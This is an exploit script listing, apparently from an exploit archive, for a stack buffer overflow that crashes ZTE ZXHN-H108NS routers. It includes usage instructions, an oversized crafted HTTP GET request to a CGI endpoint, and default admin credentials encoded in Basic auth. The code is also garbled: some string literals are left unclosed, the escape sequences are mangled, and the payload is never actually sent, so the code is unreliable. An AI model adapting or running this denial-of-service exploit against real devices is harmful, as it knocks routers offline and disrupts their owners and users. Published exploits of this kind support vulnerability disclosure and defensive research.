Authored by George Tsimpidas

ZTE ZXHN-H108NS router with firmware version H108NSV1.0.7u_ZRD_GR2_A68 remote stack buffer overflow exploit that causes a denial of service condition.

# Exploit Title: Router ZTE-H108NS - Stack Buffer Overflow (DoS)
# Date: 19-11-2022
# Exploit Author: George Tsimpidas # Vendor: https://www.zte.com.cn/global/
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# Usage: python zte-exploit.py <victim-ip> <port>
# CVE: N/A # Tested on: Debian 5.18.5


import sys
import socket
from time import sleep

host = sys.argv[1] # Recieve IP from user
port = int(sys.argv[2]) # Recieve Port from user

junk = b"1500Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae"
* 5

buffer = b"GET /cgi-bin/tools_test.asp?testFlag=1&Test_PVC=0&pingtest_type=Yes&IP="
+ junk + b"&TestBtn=START HTTP/1.1rn"
buffer += b"Host:"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0)
Gecko/20100101 Firefox/91.0rn"
buffer += b"Accept:
buffer += b"Accept-Language: en-US,en;q=0.5rn"
buffer += b"Accept-Encoding: gzip, deflatern"
buffer += b"Authorization: Basic YWRtaW46YWRtaW4=rn"
buffer += b"Connection: Keep-Alivern"
buffer += b"Cookie:
buffer += b"Upgrade-Insecure-Requests: 1rnrn"

print("[*] Sending evil payload...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print("[+] Crashing boom boom ~ check if target is down ;)")

[*]Source link